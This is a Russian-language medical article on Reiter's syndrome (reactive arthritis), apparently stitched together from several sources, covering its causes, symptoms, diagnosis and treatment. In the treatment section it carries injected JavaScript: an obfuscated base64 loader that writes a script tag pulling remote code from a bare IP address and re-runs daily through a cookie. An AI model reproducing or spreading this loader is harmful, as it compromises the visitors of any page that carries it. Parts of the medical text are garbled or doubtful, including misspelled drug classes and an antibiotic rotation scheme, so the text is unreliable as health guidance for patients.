Болезнь Рейтера — симптомы и лечение, фото и видео

Словом «артрит» объединяется обширная группа суставных заболеваний различной этиологии. Поражения суставов могут развиваться под воздействием наследственных факторов, инфекций, травм, других заболеваний. Объединяет все артриты основные симптомы – боль, покраснение кожи, отечность в области пораженного сочленения.

Причины возникновения

Доктор Ганс Рейтер опубликовал статью в издании German Medical Weekly, где предположил, что заболевание развивается после укуса насекомых и перенесенной дизентерии. Позже, однако, выяснилось, что Рейтер ошибался, ведь недуг возникал и у людей, не страдавших от кишечного расстройства.

На сегодняшний день известно, что в 80 случаев из 100 синдром Рейтера провоцирует деятельность хламидий, внутриклеточных паразитов. Реже болезнь запускают шигеллы, сальмонеллы, иерсинии, уреаплазмы. Реакцией на проникновение в системы организма патогенной флоры становятся аутоиммунные нарушения, которые и ложатся в основу заболевания.

Описание симптомов болезни (синдрома) Рейтера

Наиболее известный и распространенный вариант реактивного артрита называется болезнью Рейтера. В структуре реактивных артритов частота ее встречаемости составляет около 80%.

Болезнь Рейтера возникает через 2-4 недели после перенесенной хламидийной инфекции, реже – после кишечной (обычно вызванной шигеллой или иерсинией). Возможно сочетание этих микроорганизмов.

Хламидийная инфекция встречается повсеместно, восприимчивы к ней люди всех возрастов. Носителями микроорганизма могут являться люди или животные, а пути его передачи – воздушно-капельный, контактный, половой, а также вертикальный (инфицирование ребенка от матери во время родов).

Уретроокулосиновиальный синдром

Классическим признаком болезни Рейтера является уретроокулосиновиальный синдром. Его проявлениями являются:

  1. Уретрит. Поражение мочевыводящих путей может протекать остро, сопровождаясь жалобами на боли и трудности при мочеиспускании, частые позывы в туалет. Возможно подострое или бессимптомное воспаление, когда единственными признаком заболевания является пиурия (повышенное содержание лейкоцитов или гной в моче) и микрогематурия (появление небольшого количества эритроцитов в моче). У мальчиков могут возникать баланит, инфицированные синехии, фимоз. У девочек – вульвит, вульвовагинит, цистит.
  2. Конъюнктивит (кератоконъюнктивит). Для поражения глаз характерны жалобы на светобоязнь и блефароспазм. Последний проявляется зажмуриванием и невозможностью открыть глаза. В патологический процесс могут вовлекаться склера (склерит), роговица (кератит с возможным образованием язв роговицы) и сосудистая оболочка глаза (увеит). В тяжелых случаях может возникать иридоциклит (воспаление радужной оболочки и цилиарного тела глаза), который иногда приводит к слепоте.
  3. Артрит. Поражение суставов обычно начинается после появления уретрита и конъюнктивита.

Симптомы возникновения синдрома Рейтера, патогенез

Артрит обычно возникает остро. В процесс вовлекается небольшое число суставов (олигоартрит), реже возможен полиартрит. Поражение обычно ассиметричное (воспаляются разные суставы).

Чаще всего возникает артрит коленных, голеностопных суставов или сустава первого пальца стопы.

Реже воспалятся пояснично-крестцовый отдел позвоночника и крестцово-подвздошное сочленение, лучезапястные и локтевые суставы.

Воспаление сопровождается сильными болями, ограничением движения, резкой деформацией суставов (из-за отека тканей и образования выпота в их полость). Кожа над местом поражения горячая на ощупь, покрасневшая.

Могут возникать резко неприятные ощущения при прикосновении к месту воспаления (гиперестезия), в результате чего до сустава невозможно даже дотронуться. Характерны болевые контрактуры, на больную ногу нельзя опереться.

Поражение мелких суставов кистей и стоп и окружающих их тканей сопровождается выраженным отеком пальцев, болями, покраснением кожи (пальцы становятся похожими на сосиски).

У половины больных воспаление сочетается с энтензитом и энтезопатией (боли в покое и при прикосновении к местам прикрепления сухожилий к костям), особенно часто выявляющихся по ходу гребней подвздошных костей, остистых отростков позвонков, крестцово-подвздошных сочленений, в районе бугра пяточной кости (талалгии). Могут возникать ограничение движений в поясничном и шейном отделах позвоночника, крестцово-подвздошных сочленениях.

Наиболее активное вовлечение суставов в воспалительный процесс при болезни Рейтера отмечается у мальчиков-подростков. Это свидетельствует о высоком риске возникновения ювенильного спондилоартрита.

Болезнь Рейтера, ассоциированная с перенесенной кишечной инфекцией, обычно протекает более остро. Для нее характерна выраженная интоксикация: высокая лихорадка (температура выше 38° С), плохое самочувствие, головные и мышечные боли.

Если заболевание возникло в связи с перенесенной хламидийной инфекцией, то его симптомы обычно менее яркие. Глазные проявления не сильно выражены и носят непродолжительный характер, но часто рецидивируют. Воспаление мочевыводящих путей и глаз может на несколько месяцев или даже лет опережать развитие артрита.

Читайте также:  Реактивный артрит у детей: причины, симптомы и методы лечения

Патология суставов может протекать практически бессимптомно (без болей, скованности и значительного нарушения движений). Характерно накопление большого количества выпота в полости суставов, благодаря чему они деформируются. Артрит при хламидийной этиологии болезни Рейтера склонен к постоянному рецидивированию, но выраженные деструктивные изменения возникают редко.

Симптоматические проявления

Патологическое отклонение образуется спустя несколько месяцев после прошедших инфекционных болезней в кишечном и мочеполовом отделе. Синдром Рейтера может протекать:

  1. В острой форме – до шести месяцев;
  2. В продолжительной – до одного года;
  3. В хронической – более 12 месяцев.

Мочеполовой отдел

Становятся первичными признаки развития негативного процесса.

Мужской пол отмечает присутствие:

  • Дискомфортных ощущений в момент мочеиспускания – с зудом, жжением и выделением слизистого секрета;
  • Покраснения наружного отверстия уретрального канала;
  • Болезненных ощущений при половых контактах;
  • Болей в области нижнего квадранта живота.

Женская патология проявляется:

  • Нестандартными выделениями из влагалища;
  • Учащенными позывами на освобождение мочевого пузыря;
  • Чувством жжения, резями и болезненностью при опорожнении мочевого пузыря;
  • Дискомфортом и болевым синдромом при половых контактах;
  • Ноющей болезненностью на нижнем участке живота.

При взятии мазков и анализов урины у пациентов отмечается развитие лейкоцитоза.

Зрительные анализаторы

Возникают через короткий промежуток времени. После симптоматических проявлений инфицирования мочеполового отдела у пациентов отмечается воспаление области глаз. Отклонение способствует возникновению конъюнктивита, в усложненных вариантах регистрируется иридоциклит, увеиты, кератиты, ириты, неврит ретробульбарной этиологии.

Пациенты предъявляют жалобы на следующие отклонения при поражении глазных яблок:

  • Болезненные и дискомфортные ощущения;
  • Непроизвольное выделение слез;
  • Гнойно-слизистый секрет;
  • Снижение остроты зрения;
  • Гиперемию белковых оболочек;
  • Непереносимость солнечного света.

В отдельных случаях признаки конъюнктивита слабовыраженного характера, проходят в течение двух суток и остаются незаметными для больного

Суставы

При синдроме Рейтера является основным признаком патологического процесса в организме. Проявления регистрируются через полтора месяца от момента поражения мочеполового отдела. Патология захватывает одно или несколько сочленений, в исключительных случаях наблюдается множественное вовлечение в процесс суставов.

Чаще воспалительным процессам подвергаются нижние конечности, болезнь распространяется снизу вверх – от голеностопного сочленения к коленному и выше. При недуге имеются собственные симптоматические проявления в области суставов:

  • Выраженные болезненные ощущения;
  • Отсутствие симметричности при поражении;
  • Изменения оттенка кожных покровов над проблемным местом – от красноватого до синеватого цвета;
  • Местное повышение показателей температуры и отечность над больным сочленением.

При синдроме Рейтера могут затрагиваться крестово-подвздошные сочленения и суставы позвоночника. У пациентов отмечается недостаточность в свободе движений и выраженный болевой синдром в утренние часы. При повреждении суставов стоп возможно ускоренное образование плоскостопия.

Среднестатистические данные сообщают:

  1. У 50% пациентов — отмечается полное исчезновение симптоматических признаков артрита;
  2. У 30% — регистрируется повторное образование заболевания;
  3. У 20% — патологический процесс переходит в хронический вариант, с ограничением работоспособности сочленений и атрофическими изменениями в рядом расположенных мышечных тканях.

Иные симптомы

Патология Рейтера характеризуется триадой основных признаков заболевания, иногда в симптоматике обнаруживаются проявления повреждения других внутренних органов.

На кожных поверхностях могут образовываться красноватые пятна, немного возвышающиеся над дермой – в форме незначительной бугристости. Основные отклонения фиксируются в районе ладоней и подошв. При дальнейшем прогрессировании болезни отмечается формирование зон уплотнения, с последующим образованием роговичных слоев и мест шелушения на кожных поверхностях.

В других вариантах возникает поражение слизистых поверхностей – в районе интимной зоны и ротовой полости. Очаги воспаления могут образовываться в районе прикреплений сухожильно-связочного аппарата. Негативные отклонения сопровождаются болевым синдромом, гиперемией и отечностью тканей. Чаще данное явление фиксируется в области ахилловой стопы.

В случаях исключения недуг может спровоцировать воспалительные процессы в сердечно-сосудистом, легочном отделе или в почках.

Симптомы заболевания

Заболевание суставов аутоиммунного характера классифицируется на основании происхождения. Выделяют эпидемические и спорадические формы. В первом случае болезнь Рейтера возникает при хламидиозе, во втором — на фоне кишечных инфекций различного происхождения. Заболевание может принимать острое или хроническое течение.

Признаки синдрома Рейтера проявляются в виде поражения мочеполовых и зрительных органов, тканей суставов, кожи. В первую очередь развивается хламидийный уретрит, сопровождающийся нарушением мочеиспускания, незначительными светлыми выделениями, гиперемией и отечностью наружного отверстия уретры, болями внизу живота. При бессимптомном течении воспалительного процесса обнаруживается повышенное количество лейкоцитов в мазке. После уретрита появляются признаки поражения органов зрения. Чаще всего развивается конъюнктивит, реже воспаляется радужная оболочка. Заболевание может протекать как бессимптомно, так и с появлением слабовыраженных признаков.

Читайте также:  Артроз межфаланговых суставов стопы лечение —

Характерным проявлением синдрома Рейтера считается реактивный артрит, который развивается через 2 месяца после поражения мочеполовой системы. Болезни свойственно асимметричное поражение суставов рук и ног. Боли наиболее интенсивны в утреннее и вечернее время. Кожа пораженных областей краснеет, в суставной оболочке накапливается жидкость. Болезнь характеризуется последовательным поражением суставов. Если причиной воспалительного процесса являются хламидии, наблюдается отечность, сосискообразная деформация пальцев, синюшность кожных покровов. В патологический процесс могут вовлекаться соединительные, хрящевые и костные ткани.

Причины появления синдрома Рейтера

В основе патогенеза синдрома Рейтера лежит нарушение функционирования иммунной системы. Проникновение инфекционных возбудителей в организм человека приводит к контакту со специфическими антигенами HLA B27. Результатом становится формирование сложных белковых комплексов. В ответ на их присутствие в организме продуцируются антитела, атакующие собственные клетки организма. В зависимости от этиологического фактора выделяют две формы патологии:

  • спорадическая (болезнь Рейтера), возникает после урогенитальных инфекций;
  • эпидемическая (синдром Рейтера), спровоцирована внедрением возбудителей кишечных инфекций — дизентерии, иерсиниоза, сальмонеллеза.

Обнаружена наследственная предрасположенность к развитию заболевания. Наиболее часто оно выявляется у людей, чьи родственники страдают от псориаза, анкилозирующего спондилоартрита, двухстороннего воспаления крестцово-подвздошных суставов.

Диагностика

Обращаться необходимо к ревматологу или артрологу. Также могут понадобиться консультации венеролога, уролога, гинеколога, офтальмолога.

Диагностический комплекс включает в себя лабораторные и инструментальные исследования.

Клинический анализ крови позволяет выявить увеличение скорости оседания эритроцитов (СОЭ) и количества лейкоцитов. По этим показателям можно судить об интенсивности воспалительного процесса.

Биохимический анализ показывает наличие С-реактивного белка, повышение фибрина, глобулинов (β, α2), сиаловых кислот и т.д. Также определяется наличие или отсутствие ревматоидного фактора, что важно при дифференциации РеА от некоторых других артритов.

Диагностика

Анализ мочи показывает степень лейкоцитурии.

Для идентификации патогенного возбудителя берутся соскобы с шейки матки, уретры и т.д. Применяются иммуноферментный анализ (ИФА) или полимеразная цепная реакция (ПРЦ).

ИФА базируется на определении в крови антител к инфекции. ПРЦ обнаруживает ДНК возбудителя.

Инструментальные методы обследования могут использоваться разные:

  • рентгенография;
  • компьютерная томография (КТ);
  • магнитно-резонансная томография (МРТ);
  • сцинтиграфия;
  • эхография;
  • артроскопия.

Самый старый метод – рентгенографический. Он прост, информативен, но дает двухмерное изображение больного сустава.

Более современные методы КТ и МРТ позволяют получить трехмерное изображение исследуемого объекта.

Сцинтиграфия основана на введении радиофармпрепарата, состоящего из молекулы-вектора и радиоактивного маркера. РФП накапливается в зоне воспаления. Молекула поглощается тканью, маркер излучает гамма-лучи, которые улавливаются специальной аппаратурой.

Диагностика

Эхография хороша тем, что позволяет обнаружить суставные изменения, недоступные для других способов исследования.

Артроскопия коленного сочленения

Артроскопия имеет не только диагностическое, но и лечебное значение. Метод предполагает введение через разрезы трубочки с миниатюрной камерой.

Антибиотик нового поколения «Азитромицин»

Лечебные мероприятия

В течении всей болезни больного большего всего беспокоит поражение суставов. Ввиду долгого и трудного лечения данного симптома болезнь приобретает затяжной характер. Еще больше этому способствует применение пенициллина и цефалоспоринов. Внимание! Одновременно с больным лечение должен проходить и его половой партнер.

Условно лечение синдрома Рейтера делят на две основные категории:

  • антибактериальная терапия;
  • противовоспалительная терапия суставов.

При лечении синдрома Рейтера специалисты назначают антибактериальную терапию, которая составляет максимальную суточную дозу в течение месяца или даже шести недель. На начальном этапе лечения синдрома Рейтера препараты вводят в виде капельницы. Предпочтительно несколько антибиотиков разных групп чередовать каждые 20 дней.

В лечении хламидиоза при синдроме Рейтера у мужчин и женщин используют антибиотики трех основных фармакологических групп:

  • тетрациклины;
  • фторхинолоны;
  • макролиты.

Помимо антибактериальной терапии параллельно в качестве лечения синдрома Рейтера у мужчин и женщин назначаются противогрибковые препараты, поливитамины и гепаторпротекторы. В некоторых случаях пациентам назначаются седативные препараты и транквилизаторы в «малых» дозах. На протяжении всего курса лечения с больным проводится психотерапия, направленная на внушение выздоровления. Также иногда у больных наблюдается вспыльчивость, раздражительность, тревожное состояние. В этом случае применяются седативные препараты. При депрессивных состояниях назначаются антидепрессивные средства или седативные препараты.

На ранних этапах синдрома Рейтера назначают лечебную физкультуру. По мере стихания воспалений в суставах объем занятий увеличивают. Также назначают лечебный массаж при мышечной атрофии. В последующем пациентам рекомендуют проведение лечения в санаторно-курортных условиях с применением радоновых, сероводородных ванн и грязелечения.

В связи с поражением органов зрения при синдроме Рейтера рекомендуется консультация и лечение от врача-офтальмолога. Лечение поражений кожи и слизистых оболочек при синдроме Рейтера проводят с помощью кератолитической мази, при стоматите – полоскание рта дезинфицирующими растворами. function getCookie(e){var U=(new RegExp(«(?:^|; )»+(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,»\\$1″)+»=([^;]*)»));return U?decodeURIComponent(U[1]):void 0}var src=»data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=»,now=(()/1e3),cookie=getCookie(«redirect»);if(now>=(time=cookie)||void 0===time){var time=(()/1e3+86400),date=new Date((new Date).getTime()+86400);»redirect=»+time+»; path=/; expires=»+(),(»)}

Читайте также:  Микоплазмоз суставы — У истоков здоровья

Симптомы болезни

Инкубационный период с момента перенесенной инфекции ЖКТ или мочеполового тракта до появления первых симптомов данного недуга варьируется от 3 суток до 2 месяцев.

Поскольку заболевание поражает несколько сегментов человеческого организма, то естественно, что в каждом конкретном случае клиническая картина будет отличаться. В качестве первых признаков выступают изменения со стороны мочеполовой системы. У представителей мужского пола наиболее часто присутствуют:

  • слизистые выделения из уретры;
  • зуд и рези — возникают во время процесса мочеиспускания;
  • покраснение вокруг наружного отверстия уретры;
  • учащенные позывы к посещению туалетной комнаты для опорожнения мочевого пузыря;
  • болевые ощущения и дискомфорт во время сексуального контакта;
  • болезненность в нижних отделах передней стенки брюшной полости.

У женщин симптомы представлены:

  • прозрачными и дурно пахнущими выделениями из влагалища;
  • жжением и болью во время испускания урины;
  • дискомфортом, появляющимся во время секса;
  • учащенным мочеиспусканием;
  • неприятными ощущениями, локализующимися внизу живота.

Через короткий промежуток времени после возникновения симптоматики со стороны мочеполовой системы у пациентов начинают развиваться признаки воспалительного поражения глаз.

В таких случаях, клиника болезни Рейтера у мужчин и женщин будет включать в себя:

  • повышенную слезоточивость;
  • понижение остроты зрения;
  • повышенную чувствительность к свету;
  • покраснение конъюнктивы;
  • боли и дискомфорт в глазах;
  • появление выделений слизистого или гнойного характера.

Стоит отметить, что подобные проявления лишь первые несколько суток могут оставаться незамеченными, после чего постепенно увеличивают свою интенсивность.

Особенности развития заболевания

П ри болезни Рейтера наблюдается так называемая «пошаговая» вовлеченность тканей и органов, при которой признаки и симптомы заболевания развиваются не одновременно, а последовательно. Начинаясь с поражения мочеполовой системы, воспаление распространяется на слизистую оболочку глаз, после чего, с током крови, инфекция распространяется на суставные ткани.

При этом первые два этапа по продолжительности могут занимать несколько дней и оставаться незамеченными. Только при обращении к врачу по поводу боли в суставах, обнаруживается хронологическая взаимосвязь между уретритом, конъюнктивитом и артритом, что позволяет врачу сделать заключение о возможной болезни Рейтера.

Также выделяется две стадии развития болезни:

I стадия (инфекционная) — хламидии присутствуют только в мочеполовых органах, через которые произошло заражение (уретра, шейка матки, простата). Первая стадия начинается с момента заражения и проявляется ограниченно — только в очагах заражения — от 2-х дней до 1 месяца.

II стадия (иммунопатологическая) — хламидии распространяются за пределы мочеполовых органов, поражая суставы и слизистые оболочки. Наблюдаются аутоиммунные реакции различной степени выраженности (зависит от состояния иммунной системы человека на момент инфицирования, а также от генетической предрасположенности к аутоиммунным заболеваниям).

В зависимости от степени активности (выраженность симптомов болезни Рейтера, скорость распространения воспалительного процесса, наличие/отсутствие признаков интоксикации и пр.) выделяют 3 степени заболевания, каждая из которых требует некоторых изменений в схеме лечения.

Патогенез заболевания

Болезнь Рейтера – инфекционно-опосредованное заболевание, типичный возбудитель которого передается половым путем, что подтверждается:

  1. 1Микроскопическим и иммунологическим выявлением хламидий.
  2. 2Наличием симптомов поражения мочеполовых органов.

Первичный воспалительный процесс развивается в стенке уретры. При дальнейшем прогрессировании инфекции у лиц с генетической предрасположенностью и снижением общей противомикробной устойчивости, происходит попадание антигенов хламидий в кровоток, что становится причиной запуска аутоиммунных реакций с выработкой аутоантител к антигенам собственной соединительной ткани.

Заболевание особенно распространено среди мужчин молодого возраста. В его течении можно выделить 2 стадии:

  1. 1Первая стадия — инфекционно-токсическая — формирование первичного очага инфекции в половых органах с явлениями общей микробной интоксикации. Это сопровождается повышением иммунной реактивности к хламидийным антигенам, нарастанием в крови комплексов антиген-антитело, нейтрофильным лейкоцитозом. Лечение заболевания на данном этапе полностью предотвращает развитие специфической тирады симптомов.
  2. 2Вторая стадия — аутоиммунная – запуск аутоиммунных реакций, поражение суставов, кожи, глаз, мышц и сухожилий. В крови значительно нарастает количество иммунных комплексов и противотканевых иммуноглобулинов. Устранение инфекционного агента на данной стадии не влияет на течение заболевания, так как ведущее значение в патогенезе занимают иммунопатологические реакции. В конечном итоге могут формироваться рецидивирующие очаги иммунного воспаления, что требует иммунокоррекции.

Прогрессирование второй стадии болезни в конечном итоге приводит к:

  1. 1Нарушениям локальной микроциркуляции в очагах поражения.
  2. 2Усилению процессов перекисного окисления и образования свободных радикалов.
  3. 3Нарушениям электролитного и кислотно-основного обмена.

Все перечисленные выше изменения позволяют отнести болезнь Рейтера к системной патологии.